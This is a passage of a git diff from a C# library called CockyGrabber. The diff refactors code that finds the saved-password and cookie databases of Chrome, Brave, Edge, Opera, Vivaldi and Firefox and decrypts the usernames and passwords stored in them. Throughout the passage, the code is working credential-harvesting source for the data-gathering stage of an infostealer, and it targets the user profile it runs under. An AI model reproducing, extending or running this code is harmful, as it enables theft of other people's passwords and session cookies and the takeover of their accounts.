(string)obj.formSubmitURL, + UsernameField = (string)obj.usernameField, + PasswordField = (string)obj.passwordField, + EncryptedUsername = (string)obj.encryptedUsername, + DecryptedUsername = FirefoxDecryptor.DecryptValue((string)obj.encryptedUsername), + EncryptedPassword = (string)obj.encryptedPassword, + DecryptedPassword = FirefoxDecryptor.DecryptValue((string)obj.encryptedPassword), + Guid = (string)obj.guid, + EncType = (short)obj.encType, + TimeCreated = UnixTimeInMillisecondsToDate((long)obj.timeCreated), + TimeLastUsed = UnixTimeInMillisecondsToDate((long)obj.timeLastUsed), + TimePasswordChanged = UnixTimeInMillisecondsToDate((long)obj.timePasswordChanged), + TimesUsed = (uint)obj.timesUsed, + }); + } + return _logins; + } + + public IEnumerable GetLogins() + { + List logins = new List(); + + // Get ProgramFiles Path: + string programFiles = Environment.GetEnvironmentVariable("ProgramW6432"); + if (string.IsNullOrEmpty(programFiles)) + programFiles = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles); + + FirefoxDecryptor.LoadNSS(programFiles + @"\Mozilla Firefox"); // Load NSS + foreach (string profile in Profiles) + { + if (!LoginsExist(profile)) throw new GrabberException(GrabberError.LoginsNotFound, $"The Login File could not be found: {LoginsPath}"); // throw an Exception if the Login File was not found + + if (!FirefoxDecryptor.SetProfile(profile)) throw new GrabberException(GrabberError.CouldNotSetProfile, $"Profile could not be set: {profile}"); // throw an Exception if the firefox profile couldn't be set + + dynamic json = JSON_Serializer.Deserialize(File.ReadAllText(profile + LoginsPath), typeof(object)); + List _logins = ConvertDynamicObjectsToLogins(json.logins); + logins.AddRange(_logins); + } + FirefoxDecryptor.UnLoadNSS(); // Unload NSS + return logins; + } + + public IEnumerable GetLoginsBy(Gecko.LoginHeader by, object value) + { + List logins = new List(); + if (value == null) throw new ArgumentNullException("value"); // throw a ArgumentNullException if value was not defined + + // Get ProgramFiles Path: + string programFiles = Environment.GetEnvironmentVariable("ProgramW6432"); + if (string.IsNullOrEmpty(programFiles)) + programFiles = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles); + + FirefoxDecryptor.LoadNSS(programFiles + @"\Mozilla Firefox"); // Load NSS + foreach (string profile in Profiles) + { + if (!LoginsExist(profile)) throw new GrabberException(GrabberError.LoginsNotFound, $"The Login File could not be found: {LoginsPath}"); // throw a Exception if the Login File was not found + + if (!FirefoxDecryptor.SetProfile(profile)) throw new GrabberException(GrabberError.CouldNotSetProfile, $"Profile could not be set: {profile}"); // throw an Exception if the firefox profile couldn't be set + + dynamic json = JSON_Serializer.Deserialize(File.ReadAllText(profile + LoginsPath), typeof(object)); + foreach (Gecko.Login l in ConvertDynamicObjectsToLogins(json.logins)) + { + switch (by) + { + case Gecko.LoginHeader.id: + if (l.Id == (int)value) logins.Add(l); + break; + case Gecko.LoginHeader.hostname: + if (l.Hostname == (string)value) logins.Add(l); + break; + case Gecko.LoginHeader.httpRealm: + if (l.HttpRealm == (string)value) logins.Add(l); + break; + case Gecko.LoginHeader.formSubmitURL: + if (l.FormSubmitURL == (string)value) logins.Add(l); + break; + case Gecko.LoginHeader.usernameField: + if (l.UsernameField == (string)value) logins.Add(l); + break; + case Gecko.LoginHeader.passwordField: + if (l.PasswordField == (string)value) logins.Add(l); + break; + case Gecko.LoginHeader.encryptedUsername: + if (l.EncryptedUsername == (string)value) logins.Add(l); + break; + case Gecko.LoginHeader.encryptedPassword: + if (l.EncryptedPassword == (string)value) logins.Add(l); + break; + case Gecko.LoginHeader.guid: + if (l.Guid == (string)value) logins.Add(l); + break; + case Gecko.LoginHeader.encType: + if (l.EncType == (short)value) logins.Add(l); + break; + case Gecko.LoginHeader.timeCreated: + if (l.TimeCreated == UnixTimeInMillisecondsToDate((long)value)) logins.Add(l); + break; + case Gecko.LoginHeader.timeLastUsed: + if (l.TimeLastUsed == UnixTimeInMillisecondsToDate((long)value)) logins.Add(l); + break; + case Gecko.LoginHeader.timePasswordChanged: + if (l.TimePasswordChanged == UnixTimeInMillisecondsToDate((long)value)) logins.Add(l); + break; + case Gecko.LoginHeader.timesUsed: + if (l.TimesUsed == (int)value) logins.Add(l); + break; + } + } + FirefoxDecryptor.UnLoadNSS(); // Unload NSS + } + return logins; + } + #endregion + + // TimeStamp To DateTimeOffset functions: + private static DateTimeOffset UnixTimeInSecondsToDate(long seconds) => DateTimeOffset.FromUnixTimeMilliseconds(seconds/* * 1000*/); + private static DateTimeOffset UnixTimeInMillisecondsToDate(long milliSeconds) => DateTimeOffset.FromUnixTimeMilliseconds(milliSeconds); + private static DateTimeOffset UnixTimeInMicrosecondsToDate(long microSeconds) => DateTimeOffset.FromUnixTimeMilliseconds(microSeconds / 1000); + } +} \ No newline at end of file diff --git a/CockyGrabber/CockyGrabber/Chromium/Chromium.cs b/CockyGrabber/CockyGrabber/EngineModels/Blink.cs similarity index 84% rename from CockyGrabber/CockyGrabber/Chromium/Chromium.cs rename to CockyGrabber/CockyGrabber/EngineModels/Blink.cs index a9f2306..67c371e 100644 --- a/CockyGrabber/CockyGrabber/Chromium/Chromium.cs +++ b/CockyGrabber/CockyGrabber/EngineModels/Blink.cs @@ -1,102 +1,106 @@ -namespace CockyGrabber -{ - public static class Chromium - { - public class Cookie - { - public long CreationUTC { get; set; } - public string TopFrameSiteKey { get; set; } - public string HostKey { get; set; } - public string Name { get; set; } - public string Value { get; set; } - public string EncryptedValue { get; set; } - public string Path { get; set; } - public long ExpiresUTC { get; set; } - public bool IsSecure { get; set; } - public bool IsHttpOnly { get; set; } - public long LastAccessUTC { get; set; } - public bool HasExpires { get; set; } - public bool IsPersistent { get; set; } - public short Priority { get; set; } - public short Samesite { get; set; } - public short SourceScheme { get; set; } - public int SourcePort { get; set; } - public bool IsSameParty { get; set; } - } - public class Login - { - public string OriginUrl { get; set; } - public string ActionUrl { get; set; } - public string UsernameElement { get; set; } - public string UsernameValue { get; set; } - public string PasswordElement { get; set; } - public string PasswordValue { get; set; } - public string SubmitElement { get; set; } - public string SignonRealm { get; set; } - public long DateCreated { get; set; } - public bool IsBlacklistedByUser { get; set; } - public int Scheme { get; set; } - public int PasswordType { get; set; } - public int TimesUsed { get; set; } - public string FormData { get; set; } - public string DisplayName { get; set; } - public string IconUrl { get; set; } - public string FederationUrl { get; set; } - public int SkipZeroClick { get; set; } - public int GenerationUploadStatus { get; set; } - public string PossibleUsernamePairs { get; set; } - public int Id { get; set; } - public long DateLastUsed { get; set; } - public string MovingBlockedFor { get; set; } - public long DatePasswordModified { get; set; } - } - public enum CookieHeader - { - creation_utc, - top_frame_site_key, - host_key, - name, - value, - encrypted_value, - path, - expires_utc, - is_secure, - is_httponly, - last_access_utc, - has_expires, - is_persistent, - priority, - samesite, - source_scheme, - source_port, - is_same_party, - } - public enum LoginHeader - { - origin_url, - action_url, - username_element, - username_value, - password_element, - password_value, - submit_element, - signon_realm, - date_created, - blacklisted_by_user, - scheme, - password_type, - times_used, - form_data, - display_name, - icon_url, - federation_url, - skip_zero_click, - generation_upload_status, - possible_username_pairs, - id, - date_last_used, - moving_blocked_for, - date_password_modified - } - } +using System; + +namespace CockyGrabber +{ + public static class Blink + { + public class Cookie + { + public DateTimeOffset CreationUTC { get; set; } + public string TopFrameSiteKey { get; set; } + public string HostKey { get; set; } + public string Name { get; set; } + public string Value { get; set; } + public string EncryptedValue { get; set; } + public string DecryptedValue { get; set; } + public string Path { get; set; } + public DateTimeOffset ExpiresUTC { get; set; } + public bool IsSecure { get; set; } + public bool IsHttpOnly { get; set; } + public DateTimeOffset LastAccessUTC { get; set; } + public bool HasExpires { get; set; } + public bool IsPersistent { get; set; } + public short Priority { get; set; } + public short Samesite { get; set; } + public short SourceScheme { get; set; } + public int SourcePort { get; set; } + public bool IsSameParty { get; set; } + } + public class Login + { + public string OriginUrl { get; set; } + public string ActionUrl { get; set; } + public string UsernameElement { get; set; } + public string UsernameValue { get; set; } + public string PasswordElement { get; set; } + public string PasswordValue { get; set; } + public string DecryptedPasswordValue { get; set; } + public string SubmitElement { get; set; } + public string SignonRealm { get; set; } + public DateTimeOffset DateCreated { get; set; } + public bool IsBlacklistedByUser { get; set; } + public int Scheme { get; set; } + public int PasswordType { get; set; } + public int TimesUsed { get; set; } + public string FormData { get; set; } + public string DisplayName { get; set; } + public string IconUrl { get; set; } + public string FederationUrl { get; set; } + public int SkipZeroClick { get; set; } + public int GenerationUploadStatus { get; set; } + public string PossibleUsernamePairs { get; set; } + public int Id { get; set; } + public DateTimeOffset DateLastUsed { get; set; } + public string MovingBlockedFor { get; set; } + public DateTimeOffset DatePasswordModified { get; set; } + } + public enum CookieHeader + { + creation_utc, + top_frame_site_key, + host_key, + name, + value, + encrypted_value, + path, + expires_utc, + is_secure, + is_httponly, + last_access_utc, + has_expires, + is_persistent, + priority, + samesite, + source_scheme, + source_port, + is_same_party, + } + public enum LoginHeader + { + origin_url, + action_url, + username_element, + username_value, + password_element, + password_value, + submit_element, + signon_realm, + date_created, + blacklisted_by_user, + scheme, + password_type, + times_used, + form_data, + display_name, + icon_url, + federation_url, + skip_zero_click, + generation_upload_status, + possible_username_pairs, + id, + date_last_used, + moving_blocked_for, + date_password_modified + } + } } \ No newline at end of file diff --git a/CockyGrabber/CockyGrabber/Firefox/Firefox.cs b/CockyGrabber/CockyGrabber/EngineModels/Gecko.cs similarity index 76% rename from CockyGrabber/CockyGrabber/Firefox/Firefox.cs rename to CockyGrabber/CockyGrabber/EngineModels/Gecko.cs index 6e21ccd..b85e40c 100644 --- a/CockyGrabber/CockyGrabber/Firefox/Firefox.cs +++ b/CockyGrabber/CockyGrabber/EngineModels/Gecko.cs @@ -1,76 +1,80 @@ -namespace CockyGrabber -{ - public static class Firefox - { - public class Cookie - { - public int Id { get; set; } - public string OriginAttributes { get; set; } - public string Name { get; set; } - public string Value { get; set; } - public string Host { get; set; } - public string Path { get; set; } - public long Expiry { get; set; } - public long LastAccessed { get; set; } - public long CreationTime { get; set; } - public bool IsSecure { get; set; } - public bool IsHttpOnly { get; set; } - public bool InBrowserElement { get; set; } - public short SameSite { get; set; } - public short RawSameSite { get; set; } - public short SchemeMap { get; set; } - } - public class Login - { - public int Id { get; set; } - public string Hostname { get; set; } - public string HttpRealm { get; set; } - public string FormSubmitURL { get; set; } - public string UsernameField { get; set; } - public string PasswordField { get; set; } - public string EncryptedUsername { get; set; } - public string EncryptedPassword { get; set; } - public string Guid { get; set; } - public short EncType { get; set; } - public long TimeCreated { get; set; } - public long TimeLastUsed { get; set; } - public long TimePasswordChanged { get; set; } - public int TimesUsed { get; set; } - } - public enum CookieHeader - { - id, - originAttributes, - name, - value, - host, - path, - expiry, - lastAccessed, - creationTime, - isSecure, - isHttpOnly, - inBrowserElement, - sameSite, - rawSameSite, - schemeMap, - } - public enum LoginHeader - { - id, - hostname, - httpRealm, - formSubmitURL, - usernameField, - passwordField, - encryptedUsername, - encryptedPassword, - guid, - encType, - timeCreated, - timeLastUsed, - timePasswordChanged, - timesUsed, - } - } +using System; + +namespace CockyGrabber +{ + public static class Gecko + { + public class Cookie + { + public int Id { get; set; } + public string OriginAttributes { get; set; } + public string Name { get; set; } + public string Value { get; set; } + public string Host { get; set; } + public string Path { get; set; } + public DateTimeOffset Expiry { get; set; } + public DateTimeOffset LastAccessed { get; set; } + public DateTimeOffset CreationTime { get; set; } + public bool IsSecure { get; set; } + public bool IsHttpOnly { get; set; } + public bool InBrowserElement { get; set; } + public short SameSite { get; set; } + public short RawSameSite { get; set; } + public short SchemeMap { get; set; } + } + public class Login + { + public int Id { get; set; } + public string Hostname { get; set; } + public string HttpRealm { get; set; } + public string FormSubmitURL { get; set; } + public string UsernameField { get; set; } + public string PasswordField { get; set; } + public string EncryptedUsername { get; set; } + public string DecryptedUsername { get; set; } + public string EncryptedPassword { get; set; } + public string DecryptedPassword { get; set; } + public string Guid { get; set; } + public short EncType { get; set; } + public DateTimeOffset TimeCreated { get; set; } + public DateTimeOffset TimeLastUsed { get; set; } + public DateTimeOffset TimePasswordChanged { get; set; } + public uint TimesUsed { get; set; } + } + public enum CookieHeader + { + id, + originAttributes, + name, + value, + host, + path, + expiry, + lastAccessed, + creationTime, + isSecure, + isHttpOnly, + inBrowserElement, + sameSite, + rawSameSite, + schemeMap, + } + public enum LoginHeader + { + id, + hostname, + httpRealm, + formSubmitURL, + usernameField, + passwordField, + encryptedUsername, + encryptedPassword, + guid, + encType, + timeCreated, + timeLastUsed, + timePasswordChanged, + timesUsed, + } + } } \ No newline at end of file diff --git a/CockyGrabber/CockyGrabber/Exceptions/CookieDatabaseNotFoundException.cs b/CockyGrabber/CockyGrabber/Exceptions/CookieDatabaseNotFoundException.cs deleted file mode 100644 index 668a6b5..0000000 --- a/CockyGrabber/CockyGrabber/Exceptions/CookieDatabaseNotFoundException.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using System.IO; - -namespace CockyGrabber -{ - [Serializable] - public class CookieDatabaseNotFoundException : Exception - { - public CookieDatabaseNotFoundException() - { } - - public CookieDatabaseNotFoundException(string path) : base("The Cookie database could not be found: " + path, new FileNotFoundException()) - { } - - public CookieDatabaseNotFoundException(string path, Exception innerException) : base("The Cookie database could not be found: " + path, innerException) - { } - } -} \ No newline at end of file diff --git a/CockyGrabber/CockyGrabber/Exceptions/GrabberError.cs b/CockyGrabber/CockyGrabber/Exceptions/GrabberError.cs new file mode 100644 index 0000000..e412561 --- /dev/null +++ b/CockyGrabber/CockyGrabber/Exceptions/GrabberError.cs @@ -0,0 +1,31 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace CockyGrabber +{ + public enum GrabberError + { + UnknownError, + + // IO-Exceptions: + CookiesNotFound, + LoginsNotFound, + LocalStateNotFound, + MozGlueNotFound, + Nss3NotFound, + ProfileNotFound, + + // WinApi: + AddressNotFound, + FunctionNotFound, + + // Other: + CouldNotSetProfile, + ProcessIsNot64Bit, + + NoArgumentsSpecified, + } +} diff --git a/CockyGrabber/CockyGrabber/Exceptions/GrabberException.cs b/CockyGrabber/CockyGrabber/Exceptions/GrabberException.cs new file mode 100644 index 0000000..95359c6 --- /dev/null +++ b/CockyGrabber/CockyGrabber/Exceptions/GrabberException.cs @@ -0,0 +1,23 @@ +using System; + +namespace CockyGrabber +{ + public class GrabberException : Exception + { + public GrabberError Error { get; set; } + public GrabberException(GrabberError e) : base() + { + Error = e; + } + + public GrabberException(GrabberError e, string msg) : base(msg) + { + Error = e; + } + + public GrabberException(GrabberError e, string msg, Exception innerException) : base(msg, innerException) + { + Error = e; + } + } +} diff --git a/CockyGrabber/CockyGrabber/Exceptions/LocalStateDatabaseNotFoundException.cs b/CockyGrabber/CockyGrabber/Exceptions/LocalStateDatabaseNotFoundException.cs deleted file mode 100644 index b4409f1..0000000 --- a/CockyGrabber/CockyGrabber/Exceptions/LocalStateDatabaseNotFoundException.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using System.IO; - -namespace CockyGrabber -{ - [Serializable] - public class LocalStateNotFoundException : Exception - { - public LocalStateNotFoundException() - { } - - public LocalStateNotFoundException(string path) : base("The Key for decryption (Local State) could not be found: " + path, new FileNotFoundException()) - { } - - public LocalStateNotFoundException(string path, Exception innerException) : base("The Key for decryption (Local State) could not be found: " + path, innerException) - { } - } -} \ No newline at end of file diff --git a/CockyGrabber/CockyGrabber/Exceptions/LoginDatabaseNotFoundException.cs b/CockyGrabber/CockyGrabber/Exceptions/LoginDatabaseNotFoundException.cs deleted file mode 100644 index 8fc0036..0000000 --- a/CockyGrabber/CockyGrabber/Exceptions/LoginDatabaseNotFoundException.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using System.IO; - -namespace CockyGrabber -{ - [Serializable] - public class LoginDatabaseNotFoundException : Exception - { - public LoginDatabaseNotFoundException() - { } - - public LoginDatabaseNotFoundException(string path) : base("The Login database could not be found: " + path, new FileNotFoundException()) - { } - - public LoginDatabaseNotFoundException(string path, Exception innerException) : base("The Login database could not be found: " + path, innerException) - { } - } -} \ No newline at end of file diff --git a/CockyGrabber/CockyGrabber/Grabbers/BraveGrabber.cs b/CockyGrabber/CockyGrabber/Grabbers/BraveGrabber.cs index 699e03f..a7a1a20 100644 --- a/CockyGrabber/CockyGrabber/Grabbers/BraveGrabber.cs +++ b/CockyGrabber/CockyGrabber/Grabbers/BraveGrabber.cs @@ -2,23 +2,23 @@ namespace CockyGrabber.Grabbers { - public class BraveGrabber : ChromiumGrabber + public class BraveGrabber : BlinkGrabber { - public override string ChromiumBrowserCookiePath + public override string CookiePath { get { return $"C:\\Users\\{Environment.UserName}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Network\\Cookies"; } } - public override string ChromiumBrowserLocalStatePath + public override string LocalStatePath { get { return $"C:\\Users\\{Environment.UserName}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State"; } } - public override string ChromiumBrowserLoginDataPath + public override string LoginDataPath { get { diff --git a/CockyGrabber/CockyGrabber/Grabbers/ChromeGrabber.cs b/CockyGrabber/CockyGrabber/Grabbers/ChromeGrabber.cs index b520f12..42d6ab1 100644 --- a/CockyGrabber/CockyGrabber/Grabbers/ChromeGrabber.cs +++ b/CockyGrabber/CockyGrabber/Grabbers/ChromeGrabber.cs @@ -2,23 +2,23 @@ namespace CockyGrabber.Grabbers { - public class ChromeGrabber : ChromiumGrabber + public class ChromeGrabber : BlinkGrabber { - public override string ChromiumBrowserCookiePath + public override string CookiePath { get { return $"C:\\Users\\{Environment.UserName}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies"; } } - public override string ChromiumBrowserLocalStatePath + public override string LocalStatePath { get { return $"C:\\Users\\{Environment.UserName}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"; } } - public override string ChromiumBrowserLoginDataPath + public override string LoginDataPath { get { diff --git a/CockyGrabber/CockyGrabber/Grabbers/EdgeGrabber.cs b/CockyGrabber/CockyGrabber/Grabbers/EdgeGrabber.cs index a06d840..697df1c 100644 --- a/CockyGrabber/CockyGrabber/Grabbers/EdgeGrabber.cs +++ b/CockyGrabber/CockyGrabber/Grabbers/EdgeGrabber.cs @@ -2,23 +2,23 @@ namespace CockyGrabber.Grabbers { - public class EdgeGrabber : ChromiumGrabber + public class EdgeGrabber : BlinkGrabber { - public override string ChromiumBrowserCookiePath + public override string CookiePath { get { return $"C:\\Users\\{Environment.UserName}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies"; } } - public override string ChromiumBrowserLocalStatePath + public override string LocalStatePath { get { return $"C:\\Users\\{Environment.UserName}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State"; } } - public override string ChromiumBrowserLoginDataPath + public override string LoginDataPath { get { diff --git a/CockyGrabber/CockyGrabber/Grabbers/FirefoxGrabber.cs b/CockyGrabber/CockyGrabber/Grabbers/FirefoxGrabber.cs index c2e6978..70a1e7d 100644 --- a/CockyGrabber/CockyGrabber/Grabbers/FirefoxGrabber.cs +++ b/CockyGrabber/CockyGrabber/Grabbers/FirefoxGrabber.cs @@ -1,217 +1,15 @@ using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Web.Script.Serialization; namespace CockyGrabber.Grabbers { - public class FirefoxGrabber + public class FirefoxGrabber : GeckoGrabber { - private const string CookieCommandText = "SELECT id,originAttributes,name,value,host,path,expiry,lastAccessed,creationTime,isSecure,isHttpOnly,inBrowserElement,sameSite,rawSameSite,schemeMap FROM moz_cookies"; - public string FirefoxProfilesPath = $"C:\\Users\\{Environment.UserName}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"; // Path to firefox profiles - public string FirefoxCookiePath { get; set; } // Non constant because firefox profile directories are made out of random chars - public string FirefoxLoginPath { get; set; } // Non constant because firefox profile directories are made out of random chars - - public FirefoxGrabber() - { - // Looks for the main firefox profile which has "default-release" in it's name: - foreach (string folder in Directory.GetDirectories(FirefoxProfilesPath)) - if (folder.Contains("default-release")) - { - FirefoxCookiePath = folder + @"\cookies.sqlite"; - FirefoxLoginPath = folder + @"\logins.json"; - } - } - - #region IO Functions - /// - /// Create a temporary file(path) in %temp% - /// - /// The path to the temp file - private string GetTempFileName() => Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString()); // This is better than Path.GetTempFileName() because GetTempFileName is most of the time inaccurate - - /// - /// Returns a value depending on if the database with the stored cookies was found - /// - public bool CookiesExist() => File.Exists(FirefoxCookiePath); - - /// - /// Returns a value depending on if the database with the stored logins was found - /// - public bool LoginsExist() => File.Exists(FirefoxLoginPath); - #endregion - - #region GetCookies() - public IEnumerable GetCookiesBy(Firefox.CookieHeader by, object value) - { - List cookies = new List(); - if (value == null) throw new ArgumentNullException("value"); // throw a ArgumentNullException if value was not defined - if (!CookiesExist()) throw new CookieDatabaseNotFoundException(FirefoxCookiePath); // throw a CookieDatabaseNotFoundException if the Cookie DB was not found - - // Copy the database to a temporary location because it could be already in use - string tempFile = GetTempFileName(); - File.Copy(FirefoxCookiePath, tempFile); - - using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={tempFile};pooling=false")) - using (var cmd = conn.CreateCommand()) - { - cmd.CommandText = $"{CookieCommandText} WHERE {by} = '{value}'"; - - conn.Open(); - using (var reader = cmd.ExecuteReader()) - { - while (reader.Read()) - { - cookies.Add(new Firefox.Cookie() - { - Id = reader.GetInt32(0), - OriginAttributes = reader.GetString(1), - Name = reader.GetString(2), - Value = reader.GetString(3), - Host = reader.GetString(4), - Path = reader.GetString(5), - Expiry = reader.GetInt64(6), - LastAccessed = reader.GetInt64(7), - CreationTime = reader.GetInt64(8), - IsSecure = reader.GetBoolean(9), - IsHttpOnly = reader.GetBoolean(10), - InBrowserElement = reader.GetBoolean(11), - SameSite = reader.GetInt16(12), - RawSameSite = reader.GetInt16(13), - SchemeMap = reader.GetInt16(14), - }); - } - } - conn.Close(); - } - File.Delete(tempFile); - - return cookies; - } - - public IEnumerable GetCookies() + public override string ProfilesPath { - List cookies = new List(); - if (!CookiesExist()) throw new CookieDatabaseNotFoundException(FirefoxCookiePath); // throw a CookieDatabaseNotFoundException if the Cookie DB was not found - - // Copy the database to a temporary location because it could be already in use - string tempFile = GetTempFileName(); - File.Copy(FirefoxCookiePath, tempFile); - - using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={tempFile};pooling=false")) - using (var cmd = conn.CreateCommand()) - { - cmd.CommandText = CookieCommandText; - - conn.Open(); - using (var reader = cmd.ExecuteReader()) - { - while (reader.Read()) - { - cookies.Add(new Firefox.Cookie() - { - Id = reader.GetInt32(0), - OriginAttributes = reader.GetString(1), - Name = reader.GetString(2), - Value = reader.GetString(3), - Host = reader.GetString(4), - Path = reader.GetString(5), - Expiry = reader.GetInt64(6), - LastAccessed = reader.GetInt64(7), - CreationTime = reader.GetInt64(8), - IsSecure = reader.GetBoolean(9), - IsHttpOnly = reader.GetBoolean(10), - InBrowserElement = reader.GetBoolean(11), - SameSite = reader.GetInt16(12), - RawSameSite = reader.GetInt16(13), - SchemeMap = reader.GetInt16(14), - }); - } - } - conn.Close(); - } - File.Delete(tempFile); - - return cookies; - } - #endregion - - #region GetLogins() - public IEnumerable GetLogins() - { - if (!LoginsExist()) throw new LoginDatabaseNotFoundException(FirefoxLoginPath); // throw a LoginDatabaseNotFoundException if the Login File was not found - - return Deserialize<_LoginDB>(File.ReadAllText(FirefoxLoginPath)).Logins.ToList(); - } - - public IEnumerable GetLoginsBy(Firefox.LoginHeader by, object value) - { - List cookies = new List(); - if (value == null) throw new ArgumentNullException("value"); // throw a ArgumentNullException if value was not defined - if (!LoginsExist()) throw new LoginDatabaseNotFoundException(FirefoxLoginPath); // throw a LoginDatabaseNotFoundException if the Login File was not found - - foreach (Firefox.Login l in Deserialize<_LoginDB>(File.ReadAllText(FirefoxLoginPath)).Logins) + get { - switch (by) - { - case Firefox.LoginHeader.id: - if (l.Id == (int)value) cookies.Add(l); - break; - case Firefox.LoginHeader.hostname: - if (l.Hostname == (string)value) cookies.Add(l); - break; - case Firefox.LoginHeader.httpRealm: - if (l.HttpRealm == (string)value) cookies.Add(l); - break; - case Firefox.LoginHeader.formSubmitURL: - if (l.FormSubmitURL == (string)value) cookies.Add(l); - break; - case Firefox.LoginHeader.usernameField: - if (l.UsernameField == (string)value) cookies.Add(l); - break; - case Firefox.LoginHeader.passwordField: - if (l.PasswordField == (string)value) cookies.Add(l); - break; - case Firefox.LoginHeader.encryptedUsername: - if (l.EncryptedUsername == (string)value) cookies.Add(l); - break; - case Firefox.LoginHeader.encryptedPassword: - if (l.EncryptedPassword == (string)value) cookies.Add(l); - break; - case Firefox.LoginHeader.guid: - if (l.Guid == (string)value) cookies.Add(l); - break; - case Firefox.LoginHeader.encType: - if (l.EncType == (short)value) cookies.Add(l); - break; - case Firefox.LoginHeader.timeCreated: - if (l.TimeCreated == (long)value) cookies.Add(l); - break; - case Firefox.LoginHeader.timeLastUsed: - if (l.TimeLastUsed == (long)value) cookies.Add(l); - break; - case Firefox.LoginHeader.timePasswordChanged: - if (l.TimePasswordChanged == (long)value) cookies.Add(l); - break; - case Firefox.LoginHeader.timesUsed: - if (l.TimesUsed == (int)value) cookies.Add(l); - break; - } + return $"{Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)}\\Mozilla\\Firefox\\Profiles"; } - return cookies; } - #endregion - - #region JSON Deserializer for the Firefox Logins - private struct _LoginDB { public Firefox.Login[] Logins { get; set; } } - private readonly JavaScriptSerializer Serializer = new JavaScriptSerializer(); - - /// - /// Deserialize a json string and convert it into a type - /// - /// The deserialized object - private T Deserialize(string json) => Serializer.Deserialize(json); - #endregion } } \ No newline at end of file diff --git a/CockyGrabber/CockyGrabber/Grabbers/OperaGrabber.cs b/CockyGrabber/CockyGrabber/Grabbers/OperaGrabber.cs index c4f012d..eeed3ee 100644 --- a/CockyGrabber/CockyGrabber/Grabbers/OperaGrabber.cs +++ b/CockyGrabber/CockyGrabber/Grabbers/OperaGrabber.cs @@ -2,24 +2,24 @@ namespace CockyGrabber.Grabbers { - public class OperaGrabber : ChromiumGrabber + public class OperaGrabber : BlinkGrabber { - public override string ChromiumBrowserCookiePath + public override string CookiePath { get { return $"C:\\Users\\{Environment.UserName}\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"; } } - public override string ChromiumBrowserLocalStatePath + public override string LocalStatePath { get { return $"C:\\Users\\{Environment.UserName}\\AppData\\Roaming\\Opera Software\\Opera Stable\\Local State"; } } - public override string ChromiumBrowserLoginDataPath + public override string LoginDataPath { get { diff --git a/CockyGrabber/CockyGrabber/Grabbers/OperaGxGrabber.cs b/CockyGrabber/CockyGrabber/Grabbers/OperaGxGrabber.cs index 46a599d..f6cad89 100644 --- a/CockyGrabber/CockyGrabber/Grabbers/OperaGxGrabber.cs +++ b/CockyGrabber/CockyGrabber/Grabbers/OperaGxGrabber.cs @@ -2,24 +2,24 @@ namespace CockyGrabber.Grabbers { - public class OperaGxGrabber : ChromiumGrabber + public class OperaGxGrabber : BlinkGrabber { - public override string ChromiumBrowserCookiePath + public override string CookiePath { get { - return $"C:\\Users\\{Environment.UserName}\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\Cookies"; + return $"C:\\Users\\{Environment.UserName}\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\Network\\Cookies"; } } - public override string ChromiumBrowserLocalStatePath + public override string LocalStatePath { get { return $"C:\\Users\\{Environment.UserName}\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\Local State"; } } - public override string ChromiumBrowserLoginDataPath + public override string LoginDataPath { get { diff --git a/CockyGrabber/CockyGrabber/Grabbers/UniversalGrabber.cs b/CockyGrabber/CockyGrabber/Grabbers/UniversalGrabber.cs index 632a864..beb0323 100644 --- a/CockyGrabber/CockyGrabber/Grabbers/UniversalGrabber.cs +++ b/CockyGrabber/CockyGrabber/Grabbers/UniversalGrabber.cs @@ -1,15 +1,5 @@ -using CockyGrabber.Utility; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Crypto.Modes; -using Org.BouncyCastle.Crypto.Parameters; -using System; +using System; using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Security.Cryptography; -using System.Text; -using System.Web.Script.Serialization; namespace CockyGrabber.Grabbers { @@ -47,83 +37,95 @@ public UniversalGrabber(ChromeGrabber cg, BraveGrabber bg, VivaldiGrabber vg, Op } #region GetCookies() - public IEnumerable GetAllChromiumCookiesBy(Chromium.CookieHeader by, object value) + public IEnumerable GetAllBlinkCookiesBy(Blink.CookieHeader by, object value) { - List cookies = new List(); + List cookies = new List(); // Add Cookies to list: - cookies.AddRange(CG.GetCookiesBy(by, value)); - cookies.AddRange(BG.GetCookiesBy(by, value)); - cookies.AddRange(VG.GetCookiesBy(by, value)); - cookies.AddRange(OG.GetCookiesBy(by, value)); - cookies.AddRange(OGG.GetCookiesBy(by, value)); - cookies.AddRange(EG.GetCookiesBy(by, value)); + if (CG.CookiesExist()) + cookies.AddRange(CG.GetCookiesBy(by, value)); + if (BG.CookiesExist()) + cookies.AddRange(BG.GetCookiesBy(by, value)); + if (VG.CookiesExist()) + cookies.AddRange(VG.GetCookiesBy(by, value)); + if (OG.CookiesExist()) + cookies.AddRange(OG.GetCookiesBy(by, value)); + if (OGG.CookiesExist()) + cookies.AddRange(OGG.GetCookiesBy(by, value)); + if (EG.CookiesExist()) + cookies.AddRange(EG.GetCookiesBy(by, value)); return cookies; } - - public IEnumerable GetAllChromiumCookies() + public IEnumerable GetAllBlinkCookies() { - List cookies = new List(); + List cookies = new List(); // Add Cookies to list: - cookies.AddRange(CG.GetCookies()); - cookies.AddRange(BG.GetCookies()); - 